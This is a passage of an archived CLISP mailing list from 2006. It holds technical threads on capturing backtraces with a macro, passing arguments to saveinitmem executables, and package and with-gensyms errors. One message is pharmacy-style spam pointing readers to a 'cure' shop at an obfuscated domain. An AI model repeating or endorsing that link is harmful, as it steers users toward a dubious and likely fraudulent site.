Wed, 8 Feb 2006 00:29:44 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1F2CC832B; Wed, 8 Feb 2006 00:29:42 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17385.11622.954967.811229@thalassa.informatimago.com> To: Scott Williams Cc: clisp Subject: Re: [clisp-list] capturing backtraces (try 2) In-Reply-To: <43E8DE6D.7020107@gmx.net> References: <43E8DE6D.7020107@gmx.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 7 15:31:04 2006 X-Original-Date: Wed, 8 Feb 2006 00:29:42 +0100 Scott Williams writes: > So after some thought, I came up with this instead: > > (with-output-to-string (s) > (block nil > (handler-bind ((t #'(lambda (condition) > (sys::print-backtrace :out s) > (fresh-line s) > (sys::pretty-print-condition condition s) > (return)))) > (error "foo")))) > => ".....[giant backtrace omitted]....." > > This accomplishes what I want, but it seems hackish. Yes it seems hackish. You've forgotten the most important part: abstraction. (collecting-backtrace (error "foo")) ---> result-list ; nil-or-backtrace Better, isn't it? ;; I would write it as: (defmacro collecting-backtrace (&body body) (let ((s (gensym)) (b (gensym))) `(block ,b (handler-bind ((t (lambda (condition) (return-from ,b (values nil #+clisp (with-output-to-string (,s) (sys::print-backtrace :out ,s) (fresh-line ,s) (sys::pretty-print-condition condition ,s)) #-clisp (format nil "I don't know how to generate a backtrace on ~A" (lisp-implementation-type))))))) (values (multiple-value-list (progn ,@body)) nil))))) [16]> (collecting-backtrace (values 1 2 3)) (1 2 3) ; NIL [17]> (collecting-backtrace (values 1 (error "Bad") 3)) NIL ; "<1> # 3 ... Printed 16 frames Bad" [18]> With you can use for example as: (multiple-value-bind (results backtrace) (collecting-backtrace (do-something)) (if backtrace (we-got-error backtrace) (apply (function we-got-results) results))) without losing any information. > Am I missing a more obvious solution? It doesn't matter. From now on, it's abstracted. You just write (collecting-backtrace ...) in your program, and you assume everything works well. If you come with a better implementation, you just have to change the macro in one place. -- __Pascal Bourguignon__ http://www.informatimago.com/ In a World without Walls and Fences, who needs Windows and Gates? From blackwolf@blackwolfinfosys.net Tue Feb 07 15:36:35 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6cNt-0000xM-U4 for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 15:36:33 -0800 Received: from ms-smtp-04-smtplb.ohiordc.rr.com ([65.24.5.138] helo=ms-smtp-04-eri0.ohiordc.rr.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6cNt-00024r-Dq for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 15:36:34 -0800 Received: from shadizar.blackwolfinfosys.net (cpe-24-92-90-108.midsouth.res.rr.com [24.92.90.108]) by ms-smtp-04-eri0.ohiordc.rr.com (8.13.4/8.13.4) with ESMTP id k17NaQHx017491 for ; Tue, 7 Feb 2006 18:36:27 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by shadizar.blackwolfinfosys.net (Postfix) with ESMTP id B01131C03F for ; Tue, 7 Feb 2006 17:36:26 -0600 (CST) Received: from shadizar.blackwolfinfosys.net ([127.0.0.1]) by localhost (blackwolfinfosys.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 25001-02 for ; Tue, 7 Feb 2006 17:36:25 -0600 (CST) Received: by shadizar.blackwolfinfosys.net (Postfix, from userid 1000) id 33D461C044; Tue, 7 Feb 2006 17:36:25 -0600 (CST) To: clisp-list@lists.sourceforge.net From: "Michael J. Barillier" Message-ID: <87k6c691xi.fsf@shadizar.blackwolfinfosys.net> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.4 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Virus-Scanned: amavisd-new at blackwolfinfosys.net X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Clisp, Oracle and DBMS_ALERTS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 7 15:37:03 2006 X-Original-Date: Tue, 07 Feb 2006 17:36:25 -0600 The current Oracle module for clisp doesn't support DBMS_ALERTS. I'm hacking up some code that I'd like to have signalled on row insertion events. Is there a module available that will handle DBMS_ALERTS (or will I have to resort to enhancing the existing version)? thx - -- Michael J. Barillier /// http://www.blackwolfinfosys.net/~blackwolf/ .O. | ``Experience with many protocols has shown that protocols with ..O | few options tend towards ubiquity, whereas protocols with many OOO | options tend towards obscurity.'' -- RFC 2821 From ortmage@gmx.net Tue Feb 07 18:55:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6fUk-0001Vv-3l for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 18:55:50 -0800 Received: from mail.gmx.net ([213.165.64.21]) by mail.sourceforge.net with smtp (Exim 4.44) id 1F6fUi-0003zE-RJ for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 18:55:50 -0800 Received: (qmail invoked by alias); 08 Feb 2006 02:55:40 -0000 Received: from c-67-173-253-16.hsd1.co.comcast.net (EHLO [192.168.0.104]) [67.173.253.16] by mail.gmx.net (mp023) with SMTP; 08 Feb 2006 03:55:40 +0100 X-Authenticated: #9558537 Message-ID: <43E95DAD.3050104@gmx.net> From: Scott Williams User-Agent: Mozilla Thunderbird 1.0.7 (X11/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: pjb@informatimago.com CC: clisp Subject: Re: [clisp-list] capturing backtraces (try 2) References: <43E8DE6D.7020107@gmx.net> <17385.11622.954967.811229@thalassa.informatimago.com> In-Reply-To: <17385.11622.954967.811229@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 7 18:56:05 2006 X-Original-Date: Tue, 07 Feb 2006 19:55:41 -0700 Much better! Thanks! Pascal Bourguignon wrote: >Scott Williams writes: > > >>So after some thought, I came up with this instead: >> >>(with-output-to-string (s) >> (block nil >> (handler-bind ((t #'(lambda (condition) >> (sys::print-backtrace :out s) >> (fresh-line s) >> (sys::pretty-print-condition condition s) >> (return)))) >> (error "foo")))) >>=> ".....[giant backtrace omitted]....." >> >>This accomplishes what I want, but it seems hackish. >> >> > >Yes it seems hackish. You've forgotten the most important part: abstraction. > > (collecting-backtrace (error "foo")) ---> result-list ; nil-or-backtrace > >Better, isn't it? > > > > >;; I would write it as: > >(defmacro collecting-backtrace (&body body) > (let ((s (gensym)) (b (gensym))) > `(block ,b > (handler-bind > ((t (lambda (condition) > (return-from > ,b > (values nil > #+clisp (with-output-to-string (,s) > (sys::print-backtrace :out ,s) > (fresh-line ,s) > (sys::pretty-print-condition condition ,s)) > #-clisp > (format nil > "I don't know how to generate a backtrace on ~A" > (lisp-implementation-type))))))) > (values (multiple-value-list (progn ,@body)) nil))))) > > >[16]> (collecting-backtrace (values 1 2 3)) >(1 2 3) ; >NIL >[17]> (collecting-backtrace (values 1 (error "Bad") 3)) >NIL ; >"<1> # 3 >... >Printed 16 frames >Bad" >[18]> > > > >With you can use for example as: > >(multiple-value-bind (results backtrace) (collecting-backtrace (do-something)) > (if backtrace > (we-got-error backtrace) > (apply (function we-got-results) results))) > >without losing any information. > > > > > >>Am I missing a more obvious solution? >> >> > >It doesn't matter. From now on, it's abstracted. You just write >(collecting-backtrace ...) in your program, and you assume everything >works well. If you come with a better implementation, you just have >to change the macro in one place. > > > From grue@diku.dk Wed Feb 08 00:50:30 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6l1v-0001Pv-0g for clisp-list@lists.sourceforge.net; Wed, 08 Feb 2006 00:50:27 -0800 Received: from mgw1.diku.dk ([130.225.96.91] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6l1t-00037O-LJ for clisp-list@lists.sourceforge.net; Wed, 08 Feb 2006 00:50:27 -0800 Received: from localhost (localhost [127.0.0.1]) by mgw1.diku.dk (Postfix) with ESMTP id E994E52D5B0 for ; Wed, 8 Feb 2006 09:50:21 +0100 (CET) Received: from mgw1.diku.dk ([127.0.0.1]) by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 10784-04 for ; Wed, 8 Feb 2006 09:50:19 +0100 (CET) Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140]) by mgw1.diku.dk (Postfix) with ESMTP id 1B1F052D5AD for ; Wed, 8 Feb 2006 09:50:19 +0100 (CET) Received: from tyr.diku.dk (tyr.diku.dk [130.225.96.226]) by nhugin.diku.dk (Postfix) with ESMTP id 88C7C6DF845 for ; Wed, 8 Feb 2006 09:49:33 +0100 (CET) Received: by tyr.diku.dk (Postfix, from userid 1018) id E905361DE4; Wed, 8 Feb 2006 09:50:18 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by tyr.diku.dk (Postfix) with ESMTP id E023F13C2C for ; Wed, 8 Feb 2006 09:50:18 +0100 (CET) From: Klaus Ebbe Grue To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: amavisd-new at diku.dk X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Arguments to executable memory dumps Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 8 00:51:07 2006 X-Original-Date: Wed, 8 Feb 2006 09:50:18 +0100 (CET) Hi clisp-list@lists.sourceforge.net The :executable keyword to saveinitmem is a great enhancement since it avoids workarounds like concatenating #!/usr/bin/clisp -norc -x "(init)" -M in front of memory dumps or making separate one-line script files like #!/usr/bin/clisp -norc -x "(init)" -M my.mem Actually, :executable almost allows me to make the users of my programs think that they are using 'normal' programs, not Lisp programs. But when I use :executable, I have to tell my users to invoke my programs with "--" as first parameter. Or else they get Lisp error messages. Below, I have included an example where I define "echo" so that echo -- abc answers "abc". Unfortunately, echo abc answers LOAD: A file with name abc does not exist Do you know a way to specify an implicit "--" in front of the arguments the user types on the command line? Cheers, Klaus --- $ clisp -q -norc [1]> (defun init () (princ (car *args*)) (quit)) INIT [2]> (saveinitmem "echo" :init-function 'init :quiet t :norc t :executable t :keep-global-handlers nil) 1911560 ; 524288 [3]> (quit) $ ./echo -- abc abc $ ./echo abc *** - LOAD: A file with name abc does not exist $ ./echo -abc GNU CLISP: invalid argument: '-abc' GNU CLISP: use '-h' for help $ From dmurray@jsbsystems.com Wed Feb 08 14:15:40 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6xb9-0003IR-EG for clisp-list@lists.sourceforge.net; Wed, 08 Feb 2006 14:15:39 -0800 Received: from sccrmhc12.comcast.net ([204.127.200.82]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6xb6-0004fi-2O for clisp-list@lists.sourceforge.net; Wed, 08 Feb 2006 14:15:36 -0800 Received: from nazgul.jsbsystems.com ([71.224.35.252]) by comcast.net (sccrmhc12) with SMTP id <2006020822152501200sinc1e>; Wed, 8 Feb 2006 22:15:26 +0000 Received: (qmail 16974 invoked from network); 8 Feb 2006 22:14:21 -0000 Received: from localhost (127.0.0.1) by nazgul.jsbsystems.com with SMTP; 8 Feb 2006 22:14:21 -0000 From: David N Murray X-X-Sender: dnm@nazgul.jsbsystems.com To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Newbie CLISP Macro Question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 8 14:16:08 2006 X-Original-Date: Wed, 8 Feb 2006 17:14:21 -0500 (EST) Hi all, I'm learning packages the hard way: I created a symbol conflict. I sat down and read chapter 21 of PCL. When I tried to reload my project after adding a defpackage and in-package expressions, I got an error in clisp (2.38). I reduced to something post-able. This works: [1] (defmacro clisp-error (a) (with-gensyms ("make-error" b c) `(,a ,b ,c))) CLISP-ERROR However, when I try and do it in a package, it fails: [2]> (defpackage :my-test-pkg (:use :common-lisp)) # [3]> (in-package :my-test-pkg) # MY-TEST-PKG[4]> (defmacro clisp-error (a) (with-gensyms ("make-error" b c) `(,a ,b ,c))) *** - SYSTEM::%EXPAND-FORM: invalid form ("make-error" B C) The following restarts are available: ABORT :R1 ABORT Break 1 MY-TEST-PKG[5]> This works under sbcl (0.9.6): * (defpackage :my-test-pkg (:use :common-lisp)) # * (in-package :my-test-pkg) # * (defmacro with-gensyms (syms &body body) "Bind symbols to gensyms. First sym is a string - the GENSYM prefix. Inspired by Paul Graham, , p. 145." `(let (,@(mapcar (lambda (sy) `(,sy (gensym ,(concatenate 'string (car syms) (symbol-name sy) "-")))) (cdr syms))) ,@body)) WITH-GENSYMS * (defmacro clisp-error (a) (with-gensyms ("make-error" b c) `(,a ,b ,c))) CLISP-ERROR * So, I'm thinking the problem is in CLISP. Am I missing something? When I first saw the error in my project, it actually displayed PKGNAME::B as part of the error. TIA, Dave From pjb@informatimago.com Wed Feb 08 15:42:32 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6yxE-0002B7-7W for clisp-list@lists.sourceforge.net; Wed, 08 Feb 2006 15:42:32 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6yxC-0008LY-JY for clisp-list@lists.sourceforge.net; Wed, 08 Feb 2006 15:42:32 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 1E632585D4; Thu, 9 Feb 2006 00:42:20 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 3484B585D3; Thu, 9 Feb 2006 00:42:16 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 23F3E832E; Thu, 9 Feb 2006 00:42:16 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17386.33240.114182.137849@thalassa.informatimago.com> To: David N Murray Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Newbie CLISP Macro Question In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 8 15:43:01 2006 X-Original-Date: Thu, 9 Feb 2006 00:42:16 +0100 David N Murray writes: > Hi all, > > I'm learning packages the hard way: I created a symbol conflict. I sat > down and read chapter 21 of PCL. When I tried to reload my project after > adding a defpackage and in-package expressions, I got an error in clisp > (2.38). I reduced to something post-able. > > This works: > > [1] (defmacro clisp-error (a) > (with-gensyms ("make-error" b c) > `(,a ,b ,c))) > CLISP-ERROR > > However, when I try and do it in a package, it fails: > > [2]> (defpackage :my-test-pkg > (:use :common-lisp)) > # > [3]> (in-package :my-test-pkg) > # > MY-TEST-PKG[4]> (defmacro clisp-error (a) > (with-gensyms ("make-error" b c) > `(,a ,b ,c))) > > *** - SYSTEM::%EXPAND-FORM: invalid form ("make-error" B C) > The following restarts are available: > ABORT :R1 ABORT > Break 1 MY-TEST-PKG[5]> > > This works under sbcl (0.9.6): No. That is, if "This" designate the three forms you gave to the clisp REPL, instead of the four forms you gave to the sbcl REPL. > * (defpackage :my-test-pkg > (:use :common-lisp)) > # > * (in-package :my-test-pkg) > # > * (defmacro with-gensyms (syms &body body) > "Bind symbols to gensyms. First sym is a string - the GENSYM prefix. > Inspired by Paul Graham, , p. 145." > `(let (,@(mapcar (lambda (sy) > `(,sy (gensym ,(concatenate 'string (car syms) > (symbol-name sy) "-")))) > (cdr syms))) > ,@body)) > WITH-GENSYMS > * (defmacro clisp-error (a) > (with-gensyms ("make-error" b c) > `(,a ,b ,c))) > > CLISP-ERROR > * > > So, I'm thinking the problem is in CLISP. No. > Am I missing something? Yes. Try to give the same input to both implementations. -- __Pascal Bourguignon__ http://www.informatimago.com/ "I have challenged the entire quality assurance team to a Bat-Leth contest. They will not concern us again." From dmurray@jsbsystems.com Wed Feb 08 16:51:26 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F701t-0007h4-TE for clisp-list@lists.sourceforge.net; Wed, 08 Feb 2006 16:51:25 -0800 Received: from rwcrmhc12.comcast.net ([216.148.227.152]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F701s-0000hl-TO for clisp-list@lists.sourceforge.net; Wed, 08 Feb 2006 16:51:26 -0800 Received: from nazgul.jsbsystems.com ([71.224.35.252]) by comcast.net (rwcrmhc12) with SMTP id <20060209005118m1200t4tq6e>; Thu, 9 Feb 2006 00:51:18 +0000 Received: (qmail 24904 invoked from network); 9 Feb 2006 00:50:00 -0000 Received: from localhost (127.0.0.1) by nazgul.jsbsystems.com with SMTP; 9 Feb 2006 00:50:00 -0000 From: David N Murray X-X-Sender: dnm@nazgul.jsbsystems.com To: Pascal Bourguignon cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Newbie CLISP Macro Question In-Reply-To: <17386.33240.114182.137849@thalassa.informatimago.com> Message-ID: References: <17386.33240.114182.137849@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 8 16:52:02 2006 X-Original-Date: Wed, 8 Feb 2006 19:50:00 -0500 (EST) On Feb 9, Pascal Bourguignon scribed: [snip] > > > > So, I'm thinking the problem is in CLISP. > > No. > > > > Am I missing something? > > Yes. Try to give the same input to both implementations. > Thanks for the feedback. SBCL doesn't define with-gensyms, which is why I gave sbcl the 4 expressions. If I try and define with-gensyms to clisp, I get a package is locked error. However, if I do it after my defpackage, it works, which was your suggestion. Based on Jeff's suggestion, I understand what my problem is. When I did my defpackage and did not use :ext I am no longer importing the standard packages that clisp defines for :cl-user (section 11.2 of the Implementation Notes). with-gensyms was no longer 'defined' after my defpackage was evaluated. Thanks, Dave From ferdinand@webpim.ch Fri Feb 10 08:42:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F7bLm-0008KI-Nv; Fri, 10 Feb 2006 08:42:26 -0800 Received: from [61.173.80.103] (helo=webpim.ch) by mail.sourceforge.net with smtp (Exim 4.44) id 1F7bLj-0004Bt-3B; Fri, 10 Feb 2006 08:42:26 -0800 Message-ID: <31f601c62d0f$f74f0c30$27cedbea@ferdinand> From: "Lorelei" To: "Vicho" Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1158 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date Subject: [clisp-list] Don't you admit we should think of a better plan? The web distributor will solve the problem. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 10 08:43:03 2006 X-Original-Date: Thu, 09 Feb 2006 00:30:02 -0600 Heya Vicho, There was something I found last night that you would be interested in! This morning, my sister told me how she manages to get her cure at www.ygq.7.eagfgr.org/0n/ A lot of others frequent this fantastic shop-I'm dropping by later this evening to show you. Thanks, Lorelei From kaonashi@gmail.com Sat Feb 11 19:01:51 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F87Uk-0007UJ-Vo for clisp-list@lists.sourceforge.net; Sat, 11 Feb 2006 19:01:50 -0800 Received: from www.nabble.com ([72.21.53.35] helo=talk.nabble.com) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F87Uj-0003sV-TB for clisp-list@lists.sourceforge.net; Sat, 11 Feb 2006 19:01:51 -0800 Received: from localhost ([127.0.0.1] helo=talk.nabble.com) by talk.nabble.com with esmtp (Exim 4.50) id 1F87Ui-0002hD-FE for clisp-list@lists.sourceforge.net; Sat, 11 Feb 2006 19:01:48 -0800 Message-ID: <2892244.post@talk.nabble.com> From: spazzsloth Reply-To: spazzsloth To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-Sender: kaonashi@gmail.com X-Nabble-From: spazzsloth X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] dynamically naming a parameter with hash table Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 11 19:02:02 2006 X-Original-Date: Sat, 11 Feb 2006 18:36:50 -0800 (PST) I use the following two definitions (simplified here) to dynamically name a new global parameter, create a hash table as the parameter's value, and assign the second parameter to the hash table's key, value: (defun make-var (&key var-name value) (defparameter var-name (make-hash-table :test #'equal)) (set-prop var-name 'value value)) (defun set-prop (var-name prop-name prop-value) (setf (gethash prop-name var-name) prop-value)) This works fine: (make-var :var-name "*a*" :value 10) However, if I try to retrieve the value by: (gethash 'value *a*) I get the following error: ERROR: The variable *a* is unbound Any thoughts would be greatly appreciated? -- View this message in context: http://www.nabble.com/dynamically-naming-a-parameter-with-hash-table-t1106969.html#a2892244 Sent from the clisp-list forum at Nabble.com. From pjb@informatimago.com Sun Feb 12 10:02:23 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F8LYE-0005rQ-Ll for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 10:02:22 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F8LYC-00072e-Rd for clisp-list@lists.sourceforge.net; Sun, 12 Feb 2006 10:02:22 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 2505D585D4; Sun, 12 Feb 2006 19:01:28 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6EBC3585D3; Sun, 12 Feb 2006 19:01:24 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 54CE1832D; Sun, 12 Feb 2006 19:01:24 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17391.30708.85853.999092@thalassa.informatimago.com> To: spazzsloth Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] dynamically naming a parameter with hash table In-Reply-To: <2892244.post@talk.nabble.com> References: <2892244.post@talk.nabble.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW 